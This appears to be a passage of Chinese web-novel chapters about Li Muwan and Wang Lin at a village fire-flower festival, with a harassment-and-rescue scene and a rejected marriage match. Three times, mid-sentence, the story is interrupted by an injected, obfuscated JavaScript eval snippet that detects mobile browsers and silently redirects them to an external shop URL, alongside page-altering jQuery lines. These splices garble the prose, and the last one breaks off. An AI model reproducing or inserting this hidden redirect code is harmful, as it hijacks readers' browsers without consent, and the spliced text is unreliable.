每到街上也会遇见不少书院里的同窗,两两结伴,星火漫过黑夜时,将夜空点亮的刹那,就好似万物静止,岁月安好,那一刻所有的不安与邪祟都会消散,留给人们的只有安康与希冀。 自家道中落后,她再也没有感受过这种安宁,在王家村的日子里,填补了她这段颠簸空寂的内心,漂浮的人逐渐摸到一根浮木,借此歇脚,只是不知何时又会惊起骇浪,将她滚入不知去处的人潮里。 13.唐突(别忘了这章) 小院外响起三三两两的嬉闹声,李慕婉抬头侧目,海棠木外墙几度身影斑斑点点落在月光下。 未见其人先闻其声,王浩声音隐约传来:“铁柱哥,婉儿姑娘,可在家啊?” 王林起身立在屋檐下,身影被灯火拉得修长,蓝色发带搅荡在风里。 “何事?”灯影下悠悠传出清朗的声音。 “铁柱哥。” “王林。” 王卓王浩异口同声。 “王卓?”王林看见王卓似有些诧异,他家住县城,早就不常回王家村来,“何时回来的。” “今日镇子有打铁花的节目,来凑凑热闹。”王卓许久未来王家小院,虽是夜色,却能看清小院与先前相比,焕然一新之景。 “听王浩说你回来后便闭门苦读,不常出门,”王卓拍了拍他肩头,“若非这次事出突然,以你之才,中个探花郎不是问题,别崩得太紧了,出去走走。” 王林神色淡然,“还好,正常温书而已。” 王浩清楚他的脾气,自小就总是如此,说多无益,索性推着王林走:“走嘛铁柱哥,村里大半的人都去了,听闻这次是四大家族花了重金请来的,定然盛大。” 一直坐在窗台前的李慕婉听见动静移出门外,在廊下暗影处站定了少许,听闻三人谈话。 “婉儿可在?叫上她一块吧。”王浩打着注意道。 王林视线望向东厢房,烛台亮着,三人在残影下见李慕婉亭亭玉立,体态端庄。察觉三人视线落在身上,她嫣然一笑,提裙涉阶而下,与几人打声招呼。 王浩愣了须臾,王卓先点了头。 “李姑娘。” “婉儿姑娘,”王浩忙着邀请,“我们跟铁柱哥一块去镇上看打铁花,你一同去吧。” 李慕婉闻声王林也要去,便想应下。 王林却说:“她不会想去的!” 李慕婉笑容僵在半空,有些寸步难行,他不想自己跟着去。 是因为这几日心里的芥蒂吗?眼神里带了丝求助,可王林面色冰冷,未看她一眼。 紧接着很是识趣道:“阿兄说得是,这里到镇子还有好些距离,来回也要好久,回来便晚了,婉儿就不去了,诸位尽兴。” 王浩还想再争取争取,“晚回来有何妨?我们兄弟三人在呢,总不会让人把你欺负了,一道去吧。” 李慕婉低头盯着鞋尖,她想去的,可是王林没说话,她便不敢应。 静了一会儿,王林已经出了院子,王卓跟出去,王浩叹了一声:“你当真不去,那我先走了?” 李慕婉牵起笑意,“嗯。” 视线里的身影早已淡出,只留下落寞停在院中。 前所未有的委屈挤压在胸口,闷得她难以呼吸,却也只能吞咽而下,她不知这委屈感从何而来,因何而来,倘若是王林的态度,他一直便是如此,早已习以为常才是。 王浩等人走后没多时,花影后脚又到王家,李慕婉刚收了思绪回屋,正踏上两阶,又是一阵急促打破院内宁静。 “婉儿?”花影从墙上探出头,“婉儿,走。” 李慕婉回眸,美眸微张,“花影?你怎么也来了?” 适才的郁闷散去,走到墙面,花影拉过她手,“我带你去镇上看打铁花啊,刚才见王浩他们走了,还以为会带你去,你为何不去?不想去?” 花影歪头等着她意思,李慕婉有些犹豫,王林并不希望自己去,是不想自己与他同行吧…… “怎么了?”花影看出她的犹疑,追问道。 “这次节目盛大,是清平镇几年来难得的一次,有去邪祟寓意,还能带来好运,你不是等着哥哥的回信吗?说不定去看了回来便能收到哥哥的回信也不一定呢。”花影诱着李慕婉。 李慕婉心有松动,花影见她动容,乘胜追击,“去嘛,他们都走远了,我再追也追不上,你就当陪陪我,好不好?好婉儿……好姐姐……” 她拗不过,“花影,别摇了,那我去跟周婶说一声,免得让她担心。” “嗯。”花影等了一会,李慕婉去正堂与二老打了招呼。 “花影,我们走吧。”李慕婉心里暗自想道,大不了去了镇上躲着些就是,人流那么多,也不一定能碰上,如此他看不见也就不会生气了,若是看见了,她也不缠着跟他玩儿,他就没理由生气了。 花影拍了拍手,拉过她手腕,素色一览无余,花影顿足,“你就这样去?” 李慕婉身着素衫,头上也只用了支木簪挽发,她刚换过的干净衣裳,不觉得有何不妥。“这样怎么了?” “你快去换身带花样的衣裳,还有你这头发太素了,也别仗着自己这张脸好看,就不打扮呀,”花影捏了捏她小脸,揶揄道,“镇上去的都是青年才俊,平日少有机会装扮,你好歹装扮一下,快去快去。” “我这样挺好的!”李慕婉被推进屋里,只好从包袱底下拿出自己京城带来的衣裳,样式典雅不招摇,衣料是京城名贵的罗纱做的,再配上娘亲留的那支莲花钗,铜镜前的人朗目疏眉,清眸流盼,玉面淡拂,好一美人兮。 不多时出来,花影见着人张嘴愣了许久,让李慕婉有些不好意思,“我这样是不是不太好?” 花影吞咽两下,忙道:“不不不,就这样甚是好看,待我们去了镇上,你可得跟紧我。” “为何?”两人出了王家村。 “我怕你一不留神走失了,被人拐跑了,我该如何向铁柱哥交代?”花影打趣,“婉儿生得好看,无需粉黛,便能艳压群芳,镇上的青年才俊哪里见过这样的,他们自然会蜂拥而至。” 这种场面,李慕婉倒不是没遇过,在上京城,无论是高门宴席,还是书院诗会,所到之处定是人群瞩目,但总有哥哥护在身侧,她便不曾把这些放入眼里,哥哥自会替她扫清障碍。 “也没那么夸张吧……”李慕婉笑笑说。 花影若有所思,越觉得不对劲,她打量着人,意味深长道,“婉儿,你说你长的这般好看,性子温和,又讨人喜欢,我铁柱哥日日跟你一个屋檐下,怎得能无动于衷呢?” “哈?”李慕婉心猛然一颤,虚道,“你这话说得哪对。” “爱美之心人皆有之啊,铁柱哥虽说总是一副冷冰冰的样子,但他心底赤诚,又重情义,只是不擅长表达罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723901|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小时候便是如此,长大更甚,我们很少见他笑的,可他再无欲无求,也是凡人啊,也有七情六欲,不若为何要执着考取功名,干脆去修仙算了。”月色撩人,身影慢慢消失在浓墨里。 李慕婉沉吟不语。 “铁柱哥人还是不错的,样貌嘛自是不用说,花影虽没见过世面,可在长乐县里也是数一数二的,腹有诗书,气质清凛,又有武艺傍身,孝顺父母,往后娶亲也会疼人的。” “你说得那般好,那你怎不叫谢三婶牵线……”李慕婉娇俏调侃回去,花影这才反应过来,追着她要挠痒痒。 “李慕婉……” 花影撵着她跑,头上的发饰一沉一沉的,清脆作响。 日西沉,夜已寂,炉火红,人声急,潮涌里人挤着人,街道林立店铺空置无人,全部聚在镇口的一处庙宇的前庭,往日只有大型祭祀活动才会征用场地,能容纳千人,孩童拉着手逢人转圈,稚嫩童声缭绕入耳,庙宇门前火浆烈烈,滋滋冒响,欢呼声淹过一浪又一浪。 愈到后面,涌来的人流愈多,花影牵着李慕婉的手,被人压着往前走,稍不留神,一股不知来向的力道重压下,花影拉着的手腕脱离,人群冲散二人。 “婉儿。”花影踮起脚尖朝人声里喊道。 “花影。”两人冲散越来越远。 “婉儿,结束后你到庙宇后边等我,我去寻你。”花影扯着嗓子喊。 李慕婉依稀听得一些,想回她话,昏暗中已没了花影的身影。 她只能随着人流往前,四周都是人,只觉越来越接近表演的台中。 直至混乱里,不知何人唐突问道:“这位姑娘一个人来的?” 李慕婉不知那人是与自己说话,没留意,心神早已被这壮观的人群冲散,只想寻个舒适的地方落脚,看完好与花影汇合。 忽的肩头袭来触感,李慕婉警惕侧目,只见一二十出头的男子,样貌平平,身着富贵,垂涎望着她,“不知姑娘是哪户人家小姐,小生在清平镇从未见过,难不成是县里来的?” 今夜县里也来了不少人,特意看这场演出,就连王卓也是如此。 李慕婉未出声,微微点头后再度步入人潮,可那人却心不死,追上去,“我瞧姑娘一人孤零零的,若是不嫌,可与小生同行,待这演出结束,小生送姑娘回府,姑娘可能赏脸?” 李慕婉置若罔闻,压根不想理会。 男子有些错愕,思忖须臾,手里比了比动作,“姑娘不会说话?” 他把李慕婉当成小哑巴了,李慕婉干脆将计就计,默默点了点头。 男子心中晃过一缕邪念,不会说话…… “姑娘既然不是这清平镇之人,又只身一人,小生唐突作陪,望能替姑娘指路。”男子有模有样作揖。 李慕婉目光上下打量一番,此人多番坚持,目的性极强,必然没有好事,眼下该是想着如何摆脱才行。 待了片刻,她摇着头,继续随人潮前去,台上零星的火花渐出,呼声渐高,刹那间前庭四周火台燃起火焰。 “驱邪祟,驱邪祟,迎福星,接财气……”人声齐齐荡在空域上,随着火焰升温。 14.铁花(加更章) 男子见李慕婉不识趣,又瞧他一个弱女子,心里的痒意难耐,正色难藏,面露狰狞之色,蓦地李慕婉只觉手腕一阵痛感袭来。 “谁?”李慕婉陡然回头,眼神锋利,下意识抽手,可那人力道加重。 “原来姑娘会说话,”男子莫名兴奋,“既然如此,倒是姑娘不识趣了,本公子这般屈就已是给你脸面,要知道这清平镇上,能被本公子看上,可是你的福气。” “放开我。”李慕婉挣扎着,全然不管热辣的痛觉,直觉一股恶心之意涌上心口,“若再纠缠,我喊人了。” “喊啊,”男子脸色不改,周遭已有人往这投来目光,他也全然不顾,“本公子倒要看看谁敢坏我好事。” 镇上谁人不知,此人正是四大家族里其中一个世家,掌管水路货运的曹氏,曹家二公子,混不吝一个。 即便看不过眼的也无人敢上前阻止,李慕婉见他人反应,隐有察觉之意,此人定然恶贯满盈,才叫他人望而却步,可她不是逆来顺受之人。 见他不讲道理,那自己也无需顾及礼数颜面,李慕婉身躯一抖,重重踩下一脚,骤然那人吃痛松手,抬脚在原地蹬了两圈,李慕婉借机开溜,可人群拥挤,无法迅速隐匿行迹,曹二反应迅速,伸头即将要抓住她的手臂。 李慕婉直直冲撞在一处结实里,惯性后退半步,鼻尖嗅到一股熟悉的提神香,她浅浅抬头,分明的轮廓正中视线。 一只长臂穿过肩头,将那股冒犯之意挡在身后。 李慕婉惊愕片刻,朱唇微启,“阿,阿兄?” 声音很轻,携了几分不可置信,又掺杂着惊喜。王林怒视那人,李慕婉听得身后一声惨叫。 “兄台饶命。” 王林未见松动,反而更是用力,曹二俨然能听见自己手腕骨头碎裂的声音,双膝逐渐弯曲,口中不断求饶。 “兄台饶命,误会,误会。”曹二面目痛苦。 李慕婉只觉肩头这只手臂给足了自己安全感,缓缓转过身,背部微微贴着他胸膛,王林没有退让,早在她从人群里被挤着前行时,王林便瞧见了她,撇下王卓王浩二人悄无声息来到这,就连曹二的纠缠他也尽数看在眼里。 旁观者议声渐多,李慕婉不想事情闹大,一旁劝说,“阿兄,算了。” 王林周身散着冷意,眼神仿若能杀人,又加重了力道,蔑视说:“言语污秽,行迹放浪,强取豪夺,还有脸求情,与她道歉。” “对,对不住……姑娘,是在下鬼迷心窍起了异心,对不住,姑娘海涵,姑娘海涵……”曹二想也没想,只觉手腕已经断了。 王林微侧眸,给了些许视线到李慕婉,李慕婉朝他点点头,王林这才松手:“滚。” 松手刹那,曹二提溜起腿,咬着牙恨恨消失在人群里。 李慕婉还沉浸在事外,忽听王林问:“你怎么来了?” “阿兄,”李慕婉这才缓神,情急解释,“我,婉儿不是要跟来的,是花影来寻我,我才……” 她低头,手指搅着衣袖,怕他责怪,很是委屈,“我是跟花影一块来的。” “她人呢?”王林俯视着,只能看见她的睫羽和小半张藏起的脸。 “她……”李慕婉定定望着他衣角,“我们走散了,她让我结束去庙后面等她。” “阿兄,幸亏你在,”李慕婉无辜抬眸,二人近在咫尺,俨然能触碰到彼此呼吸,“那人身份看着不简单,你适才那般恐吓,若他寻机报复,你要小心。” 看台光线不足,也不知曹二看清他没有。王林并未在意,站台上一声巨响,铁匠叮当敲着铁器,人声鼎沸,站台下霎时间沸腾。 王林拉过李慕婉手腕,她身躯惯力微转,猝不及防的举动让她错愕,不得呼吸微促。 人定在他身前,王林让出身前空地,手肘微抬间,与身侧隔出些许距离,即便人潮拥挤的看台,任旁人都碰不到她分毫,看似无意的举动,却让李慕婉在他笼起的安隅之地稳稳站着。 李慕婉回眸要说话,王林打断她:“站好。” 她只得正回视线,宛若只剩下他的气息,这一刻,将整夜的阴郁掸散,她心里泛着甜,在王林看不见的地方,藏着一抹笑意,似与月色争辉。 “开始了,开始了……”周围人头攒动,紧张的氛围雀跃而起。 李慕婉同样被这股气流带动,人跟着兴奋起来,双手举在胸前,专注着台上铁匠的动作。 没过多时,铁汁滚在铁器里。 叮……当…… 叮……当…… 看台下模糊能看见铁匠的动作,手中下棒猛击上棒,一棒铁花冲天起,万千星点坠空落,一棒接一棒,十数人连接不断,宛若生命长河生生不息。 火红星点四散而上,如铁树银花落,万点星辰开。 “火除邪祟,百家安宁。” “驱邪避灾,祈福迎祥。” 百姓口中轻念,竟有梵音之象。 看台的百姓们雀跃而起,连同李慕婉沉醉在这璀璨星火里。 所有人都在看这星火,唯有一人,被星火点亮的清眸从星空中收回,少年凉薄的眸子覆上一层炽热,在无人窥见之处,赤裸地笼罩李慕婉。 身后的他府视时,只能看到她半边侧脸,她在笑。 那笑要比此刻四散的烟火耀眼,至少在少年心中,如此! 李慕婉蓦然回首,满腔笑意冲撞入怀,“阿兄,快看。” 王林沿着她指的方向浅移了目光,一棒又起,烟火再次四散,经久不消。 在沸热的场景下,王林难得柔声,视线又笼回她身上,“好看吗?” 李慕婉笑意满满,很是欣喜,像得到礼物的孩童,“好看。” “嗯。”王林抽走目光,再次望向远处时,那抹柔情随铁花化开,融入夜色中。 就在烟火消散之际,李慕婉紧闭双眼,在心底默默许下愿景。 当她再次回首时,王林仍是那副冷冰冰的模样,以至于李慕婉以为方才那柔情之人是自己错觉。 一直到亥时一刻,烟火消散,李慕婉在热闹过后的怅然与空虚也倍感而来,看台的人流逐渐散去,李慕婉还耽溺于适才的壮观里,好多年了,再没看过如此盛大的场面。 “回吧。”王林话音萦绕耳侧。 李慕婉回神,临走时几步一回头,颇有不舍之意。 “你若觉得好看,再过几月,中秋还会有一场,到时再来便是。”王林察觉她的失落,漫不经心安抚着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723902|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那阿兄也会一道来么?”李慕婉仰头看他,王林瞥一眼,替她看路,今夜他本也没带她来。 可他没应,李慕婉没等,怕他心情不好,又换着话匣,“阿兄说,三个月后镇上还有得看,三月后不知我哥哥音信可有,到时候也能跟哥哥一块来。” 王林心底微震,寻到兄长,她不是该跟着回燕州么? 他适才竟一时忘了,她是要走的人,而这期限是随时,又怎知三月后还会在此。 “以前在京城住时,哥哥也常带我去看铁花,”李慕婉似在回想很幸福的往事,“那时候哥哥老担心那些铁汁掉下来烫伤我,会用衣袖给我盖头。” 她边走边看着王林说,也不顾他有没有听进去,“记得有一次,爹娘给我们都做了新衣裳,哥哥穿着去看打铁花,只因给我盖头,铁汁掉下来,不慎把他衣裳烫破了,为了不让娘担心,夜里回去我们偷偷躲在房里,给他缝了一夜的衣裳,好在婉儿学绣工时没有偷懒,不若娘亲发现定要唠叨我们。” 这还是王林第一次听她说这些。 “你的女工,我娘也常夸。”王林点头淡淡应。 昏暗中一股不明来历的视线窥视着二人远去的背影。 李慕婉望着王林,“待阿兄成婚,婉儿给你绣个发带吧,我瞧你用的这根和额饰都泛白了也没换。” 王林稍顿足,看了她须臾,大步离去。“阿兄可是要回去了?”李慕婉追上去。 “王卓王浩在等我,我去寻他们。” 李慕婉想起和花影的约定,脚步迟疑,“花影也在等我,那阿兄也早些回去。” 王林应声,李慕婉已经往庙后去了,先前曹二的冒犯之举还残留在他脑中,他并不是那么放心,却又觉没必要太过上心。 从前庭看台到庙后走路不远,只是庙后还有不少人流,李慕婉不知花影到了没,庙后灯火不明,很是昏暗,只能借着星辉走路。 忽的身后一个少年声音传过:“姑娘,你的荷包掉了。” 李慕婉下意识摸了摸腰封位置,荷包确实没有了,这才转身,见一少年立在眼前,此人装束与曹二相似,周身绸缎配饰尽显贵气,却没有曹二的轻浮,他手中折扇轻打。 李慕婉颔首行礼,抬手要接过荷包:“多谢公子。” “姑娘不像长乐人士,不知家在何处?” “燕州人士。”李慕婉随口道,作势要走。 “在下孙镇伟,若姑娘在清平镇有需,可到孙府寻我。”此人正是四大家族孙家嫡子,孙镇伟,手掌清平镇大量铺子房子租赁生意。 王浩带她去寻房子时同她说过此人,李慕婉从容道:“孙公子,你我萍水相逢,不合适吧。” “实不相瞒,适才打铁花演出时,在下就已注意到姑娘,见姑娘气质出尘,谈吐也不凡,故而有意结交,不知姑娘在清平镇家住何处?姓甚芳龄?”孙镇伟实在直接,心思也不藏着,李慕婉倒觉他有几分坦荡。 可她也不是没遇过,京城里何样的人她都接触过,自然不会因他这点小伎俩就相信。 “孙公子,幸会,家兄还在等我,不便多留,见谅。”李慕婉颔首离去,孙镇伟也没死缠烂打。 嘴角泛着意味深长的笑意。 15.相告 花影担心李慕婉到了庙后寻不到自己,结束后早早就先到了,寻了处最为显眼的地儿,一直往人流来的方向巡视,可算看见了李慕婉。 “婉儿。”花影隔空喊道,不远处的王浩王卓听得熟悉,跟着声音寻过来。 李慕婉看见站在高处的花影,小跑过去,花影跳下平地迎向她。 “花影,你来得这么早,”李慕婉说,“咱们走吧。” “去哪?”花影问。 “不是回家吗?”李慕婉微顿。 花影暗笑,“家自是要回的,不过既然出来了,再玩会儿吧,不急着回,我知道镇子上有间果酒铺子味道极好,子夜都不会关门,还有乐曲能够赏玩,镇子上青年都爱去,这个时辰正是时候,咱们去看看?” 李慕婉犹豫,王浩王卓刚好过来唤了二人,花影正好叫上他们一块儿。 “婉儿,你找什么?”王浩看李慕婉心不在焉,似在寻找什么。 “我阿兄呢?”李慕婉声音柔软,“他说来找你们的。” 王浩笑她,“铁柱哥对镇子熟,许是人太多了,一会便到。” “不过你左一句阿兄,右一句阿兄的,倒真像是他小妹。”王浩打趣她,今夜的她比往日有所不同,是施过粉黛后的艳丽,可明明妆面很浅,她本就无需点缀已是绝色。 “王叔周婶待我如亲生女儿,阿兄又多番相救,我自当以真心待之。”李慕婉认真说。 “知道了知道了,我跟你闹着玩呢,不是说不来嘛,怎得又出来了,莫非是不想跟我们几个男子一道出来,惹了你们女孩子的趣事?”王浩摸摸脑后调笑。 花影将婉儿护在身后,朝王浩脑袋下了一拳,“王浩,婉儿这是懂礼数,你胡说什么呢,再欺负婉儿,我第一个揍你。” “花影,我哪里欺负婉儿了。王卓你别在一旁笑,帮我说两句啊。”他拿手肘去顶他。 李慕婉不在意,只是担心王林遇着麻烦,生怕曹二回来寻他事,“王浩,那我阿兄知道你们在这么?” “知道啊,说好在庙后相聚的,他还能去哪。”王卓说。 在庙后相聚,那为何适才不说,李慕婉心中疑惑,总觉王林心里藏着事,如何都看不穿。 “花影?王浩?”叶清儿叶敏儿两姐妹朝这边走近。 花影这才看见二人,“你们也来了。” “那正好,我跟婉儿要去果酒铺子转转,你们要不要一块,人多喝着小酒正好。” 叶敏儿性子与花影相像,也爱玩儿,拉着叶清儿说也想去,叶清儿只好应下。 一道身影往几人这边靠近,王浩率先看见人,喊声道:“铁柱哥?” “阿兄?”李慕婉的失落殆尽,漫着笑意跑到王林身侧,“你来了。” 王林看了看她,又朝几人颔首点头,叶清儿视线暗中有意无意打量着他。 “铁柱哥,你来得正好,花影她们正打算去醉风馆喝酒,眼下还早,一块去吧。”王浩拍拍他肩头。 “你不是说找了花影就回家?”王林得知后问着李慕婉。 几人视线纷纷看向二人,李慕婉忙着解释:“本是要一起回的,只是,只是……” “哎呀,铁柱哥,就去坐一会,不会耽搁的,反正婉儿也没事,有我在呢。”花影拉过婉儿,婉儿看向王林,一举一动都在意着他反应。 叶敏儿只觉怪异,随口嘟囔一句:“阿姐,这不是跟你要议亲的王林吗?” 王浩这才反应过来,闪过一丝邪魅,暗戳戳提醒王林,“是啊是啊,铁柱哥,正好叶清儿也在,你们不是要议亲的嘛,你们一块聊聊呗。” 叶清儿视线落在他身上,王林没往自己这边瞧,她站的偏后,黑夜里无人能察她的心思,二人从小确实见过,只是王林很少出去疯玩,也不善于交际,便很少见。 只是听说他功课厉害,熟读诗文,也只有那么几次远远见过他,这些年来,他身量越是出挑,人群里独树一帜,身上有别的男子所没有的气质。 又听闻他孝顺,除了性子冷僻些,她对王林印象不错。只是王林对她并不熟悉,甚至说不认识,小时候的事他早已忘了。 “嗯。”王林点头后,几人往醉风馆去了。 一行七人,在酒馆里寻了一处宽桌落坐,李慕婉挨着花影,王浩率先在她身侧落坐,几人就好似故意要将王林和叶清儿坐一块。 叶清儿含蓄,却也清楚他们的意思,王林也不是愚笨之人,怎么会不知。 他的冷漠着实让叶清儿有些退却,叶敏儿推着姐姐,故意缓道:“王林,你看我阿姐如何?” 叶清儿一口清酒险些喷出,她急忙制止,严厉道:“敏儿,你,你怎么如此……” “如此什么?”叶敏儿心宽,“阿姐,反正要议亲的,王家过两日就来了,到时候他也要来,你们这就算是提前约见了。心里悦不悦的也能有个把握,你们说呢?” 花影附和道:“敏儿说得对,清儿这般聪慧娇俏,我铁柱哥定然喜欢,婉儿也常说呢,阿兄与清儿阿姐甚是般配。” 叶敏儿闻言也是一笑:“我也觉得,郎才女貌。” “是是是,喝酒喝酒。”王浩放声大笑,给婉儿杯里满上,果子酒清甜,本不容易醉,她今夜喝了几杯,已有微醺之感,面颊泛着红晕,呆呆笑着,已有醉态。 “不能喝就少喝些,不若醉了明日我娘问起,又得责备我没看顾好你。”王林视线直直盯着她,叶敏儿的话他是一句没回。 这话本是寻常,但王林一直对二人冷漠,却难得见他关切旁人,叶敏儿道:“婉儿住在王家有点日子了,不过听说你等兄长的音信后便会离开王家村,不知你兄长何时来接你?” “我阿姐倘若要是成婚,你一个外姓女子住在家里,恐是……”叶敏儿眼珠子转着。 叶清儿打断她:“敏儿,别说了,小妹性子直率,不懂得藏,有些话说出来不过脑子,你和婉儿姑娘不要放在心上。” 见叶敏儿如此知性,李慕婉说:“清儿阿姐无妨,敏儿说得对,不过此事你们无需担心,婉儿已在镇上找着房子,阿兄成婚前,我会搬离王家村的,王浩这些日子也很上心在帮我找。” “镇上的房子租金贵吧,”叶清儿关切,“花影说你上山采药赚钱,每月给家里家用,若是在镇子上租一间房子,负担不小,若是你不介意,花溪村倒是有几家空置的茅屋,先前是外地商客上山采药临时搭建的,条件自然没有镇子上好,但是租金便宜不少,房子也算新,收拾收拾能住的。” “如此,那甚是好。”李慕婉心里巨石落下,总算有件开心的事,“那婉儿该找谁谈租赁事宜呢?” “我明日问问阿爹吧,”叶清儿笑容可掬,“两家过些天要相见,到时间正好一块去看看,婉儿姑娘也一同来吧,想必王叔一家早已待你如女,不若你也不会处处为他们着想。” “这个好,这个好,”王浩举杯乐道,“花溪村比镇子近得多,往后我们跟婉儿还是能常来往的。” “来,大家碰一个吧,待喝完这杯,咱就回去了。” 李慕婉解了心头事,喝酒都不觉得闷了,饮得痛快,王林眉间却蹙着,连喝下的酒都是愁色。 酒过后几人出了酒风馆,王卓和王浩略有微醺醉意,王卓搭臂上前意要王林搀扶,王林冷漠不愿摆开手。 他分明是装醉的,见王林不理自己,王卓便转头向李慕婉礼道:“王林心冷,不愿扶兄弟一把,婉儿姑娘可否抬手相助?” 李慕婉见花影已经去扶了王浩,她又心善,没想那么多,点头搭手上去扶着,王林立在一侧见状冷冷道,“你这身板扶他?别把他摔残了。” 李慕婉眨了眨眼,忙道:“婉儿会当心些,绝不会摔着王卓哥。” 王卓哥?她对王浩也不会这么喊,王林眉心蹙起,似有不耐,抬手将她拉过一旁,自己绕过王卓肩头,搀扶着这个装醉的醉鬼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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忽的王林停下脚步,转过身对着叶清儿,月色下他的轮廓格外清晰,叶清儿眉目如画,面相淡雅,鼓着勇气看着他。 “怎么了?” “两日后,我不会去花溪村。”王林侧身走远了些。 “你要温书?那是王叔周婶来也一样的,婉儿姑娘也来。”叶清儿怔了些,试探问。 “我爹娘不去,她也不去。”王林声音游在空旷中,毫无怜悯。 “这是何意?”叶清儿望着他颀长身影,“是你对我不满,还是什么原因?” “娶亲并非我本意,原是想安父母之忧,才答应相看,”王林直言道,“我身无长物,穷书生一个,并不能给你好的归宿,叶姑娘在我这,只会耽误前程。” “我不在乎,我娘常说家成业立,即便,即便你没有考上功名,往后回来王家村,在镇子上当个教书先生,平平凡凡也能过一辈子,我不是贪图荣华富贵之人,你不必思虑这么多。”既然他开诚布公,叶清儿也坦诚相待。 “王林,从前见过你几次,许是你忘了,今日见着你,我是欢喜的。” 王林长叹一声:“是我的错,没有下定决心不该让爹娘张罗,叶姑娘的心意,王某不配。” “今夜所谈租房的事,也不必费心了。” 说罢,王林大步离去,叶清儿还有话没说明白,追上去前问:“你是不喜欢我,可是因为婉儿姑娘?” “与她无关!”王林没有停步,只是气息压得极低,像在掩盖什么。 叶清儿急急喊道:“王林!” “王林,你等一下!” 王林无奈顿足,转过身,叶清儿赶上来时却不甚踢了块石子,眼见就要扑进王林怀里,谁料他一个转身,避开了。 叶清儿直直扑在树枝上,踉跄几步,很是狼狈。王林没看她,只留了句:“叶姑娘走路当心,王某告辞。” 16.失足 叶清儿这算是看明白了,他的冷傲孤高,不是自己能融化的,两家婚事未定,只说相看,她若再纠缠也无非是更丢颜面。 走到镇子口,王林才看见几人在那有说有笑,看似是等他二人的。 王浩朝他招手:“铁柱哥,你们走得好生慢,可让我们好等啊。” “不是你们故意要留我二人独处么?”王林不留情面揭穿道。 几人面面相觑,有些心虚,叶敏儿没看到阿姐,只看到王林,问道:“我阿姐呢?怎得没跟上?” “在后头。” 王浩挤着他要打听,“铁柱哥,你们聊得如何?可看得对眼?” 王林剜了一眼,略过他,径直朝前走。经过李慕婉时,扫了一眼没做声。王卓叫住他,“王林,我们方才决定一块到我客栈坐坐,一道去吧。” “不去。”王林直截了当。 大伙知道他最是说一不二,也没再挽留,王浩唤着李慕婉,“婉儿,铁柱哥不去,你去吧,花影也去呢。” 李慕婉察觉他兴致不高,心里惦记着,“不了,我跟阿兄一块回,你们尽兴。” 只剩下王卓王浩花影三人,王浩见李慕婉走了,人也焉了半,三人兴致缺缺。 王卓拍着王浩肩头,一副了然于胸的模样,“这婚事怕是成不了了。” “你怎么知道?”花影和王浩同声道。 “王林压根不喜欢叶清儿,看不出来吗?”王卓两手一摊,“走吧,他们不去,我们三人喝。” “啊?”两人相视,“那叶清儿她对铁柱哥还是挺欢喜的。” 花影看了看后方的幽暗,暗巷里,叶清儿坐在阶上,适才歪了脚,也走不动,幸好叶敏儿来寻了自己。 走出一段距离的王林听见身后熟悉的脚步,李慕婉的脚步声很轻盈,每一步节奏他都记得清楚。 “阿兄,你等我一等。” 王林驻足定在原地,等她上前,李慕婉赶上后与他并成排,“阿兄,我同你一块回。” “阿兄,你跟清儿阿姐谈得如何?她说能帮我寻住所,敏儿也跟我说了,那屋子才新盖没几年,荒着也是荒着,而且花溪村与王家村隔的也近,往后我若回来看望王叔和周婶也方便。”李慕婉说,“我想尽早搬过去。” “你在花溪村认得谁?”王林说,“可知许浩葛阳都在那,若无人照应出了点事,你兄长来了,我该拿什么交代?” “无碍的,婉儿来这也不是一天两天了,眼下要事应是阿兄的婚事。”李慕婉天真道。 “我成婚,你很高兴?”王林眼珠一沉,似在克制一般,心里从未有过的感觉,他不是那么喜欢这种不能自控的感觉。 “这是喜事,自然高兴的。”李慕婉不明所以,凝着笑瞅着他。 “李慕婉!”王林停下脚步,将她整个身躯笼在自己视线之下,“你替我娘选了叶清儿是觉得我会喜欢她,是吗?” 李慕婉受到压迫,明亮的眸子瞟着左右,却不自觉后退,“清儿阿姐很好,不仅温淑端良,重要的是诗文她也有读过,与阿兄成婚后,不会没有话题可聊,两家也算门当户对。” “自是很好的选择。” “阿兄这是怎么了?” 王林冷笑一声:“门当户对?合适?” “在你看来,我成婚只要这些便够了,是吗?可我不想成婚,我要娶的人,唯一重要的是我欢喜之人,我不喜欢叶清儿,你可听清了?” 李慕婉愣愣问:“那阿兄喜欢谁?云锦阿姐那样的女先生?还是王秀阿姐那样的?” “我不想成婚!” 他一步步逼近,李慕婉一步步退,平日最是沉稳少言的人也会诉说自己心中想法,这让她无所适从,慌张又改了口道:“听,听清了,是婉儿考虑不周,早知该劝劝周婶,先不急一时的,待阿兄考了功名,在京城谋了官职,再思虑婚事不迟。” “阿兄,今夜是不是跟清儿阿姐说了此事?”李慕婉视线落在他脖颈处,没敢再往上抬。 “李慕婉,我的事你再不要插手,听清了?”王林再次向前。 小路两旁是绿油的稻苗,刚长出些穗,还不饱满,李慕婉几乎快被逼到田里,黑夜里看不清,两人都没注意。 